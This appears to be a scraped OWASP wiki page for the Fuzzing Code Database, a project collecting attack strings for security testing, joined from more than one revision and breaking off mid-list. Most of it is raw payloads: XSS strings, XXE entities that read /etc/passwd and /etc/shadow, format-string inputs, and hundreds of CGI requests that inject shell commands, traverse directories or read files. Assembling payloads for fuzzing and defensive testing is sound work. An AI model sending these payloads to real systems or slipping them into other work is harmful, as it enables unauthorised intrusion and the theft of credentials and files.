';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80095 2010-03-17T23:20:58Z

<p>Adam.muntner: /* Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> 